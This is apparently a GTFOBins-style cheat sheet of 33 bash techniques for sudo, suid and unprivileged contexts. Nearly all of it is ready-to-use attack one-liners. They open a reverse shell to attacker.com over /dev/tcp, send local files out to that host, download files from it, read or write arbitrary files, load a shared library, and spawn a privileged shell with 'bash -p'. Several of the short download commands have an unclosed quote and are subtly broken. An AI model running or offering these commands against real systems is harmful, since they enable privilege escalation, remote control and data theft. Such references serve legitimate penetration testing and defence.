GTFO · Tool

bash

33 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

download

File DownloadPrivilege Escalation LinuxmacOS

bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

download

File Download LinuxmacOS

bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
    3<>/dev/tcp/attacker.com/12345 \
    | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

download

File DownloadPrivilege Escalation LinuxmacOS

bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

download

File DownloadPrivilege Escalation LinuxmacOS

bash -p -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

download

File Download LinuxmacOS

bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'

Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File ReadPrivilege Escalation LinuxmacOS

bash -c 'echo "$(</path/to/input-file)"'

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File ReadPrivilege Escalation LinuxmacOS

bash -p -c 'echo "$(</path/to/input-file)"'

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File Read LinuxmacOS

bash -c 'echo "$(</path/to/input-file)"'

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File ReadPrivilege Escalation LinuxmacOS

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File ReadPrivilege Escalation LinuxmacOS

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-read

File Read LinuxmacOS

This only works interactively from an existing `bash` session.

HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
history

Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File WritePrivilege Escalation LinuxmacOS

bash -c 'echo DATA >/path/to/output-file'

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File WritePrivilege Escalation LinuxmacOS

bash -p -c 'echo DATA >/path/to/output-file'

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File Write LinuxmacOS

bash -c 'echo DATA >/path/to/output-file'

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File WritePrivilege Escalation LinuxmacOS

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File WritePrivilege Escalation LinuxmacOS

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

file-write

File Write LinuxmacOS

This only works interactively from an existing `bash` session. It adds timestamps to the output file.

HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-file

Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/bash/

library-load

Library LoadPrivilege Escalation LinuxmacOS

bash -c 'enable -f /path/to/lib.so x'

Context: sudo
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/bash/

library-load

Library LoadPrivilege Escalation LinuxmacOS

bash -p -c 'enable -f /path/to/lib.so x'

Context: suid
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/bash/

library-load

Library Load LinuxmacOS

bash -c 'enable -f /path/to/lib.so x'

Context: unprivileged
Native: library-load
MITRE: T1574
Refs: gtfobins.github.io/gtfobins/bash/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'

Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/bash/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'

Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/bash/

reverse-shell

Reverse/Bind Shell LinuxmacOS

bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'

Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/bash/

shell

ExecutionPrivilege Escalation LinuxmacOS

bash

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/bash/

shell

ExecutionPrivilege Escalation LinuxmacOS

bash -p

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/bash/

shell

Execution LinuxmacOS

bash

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/bash/

upload

File UploadPrivilege Escalation LinuxmacOS

bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/

upload

File UploadPrivilege Escalation LinuxmacOS

bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/

upload

File Upload LinuxmacOS

bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/

upload

File UploadPrivilege Escalation LinuxmacOS

bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/

upload

File UploadPrivilege Escalation LinuxmacOS

bash -p -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/

upload

File Upload LinuxmacOS

bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/bash/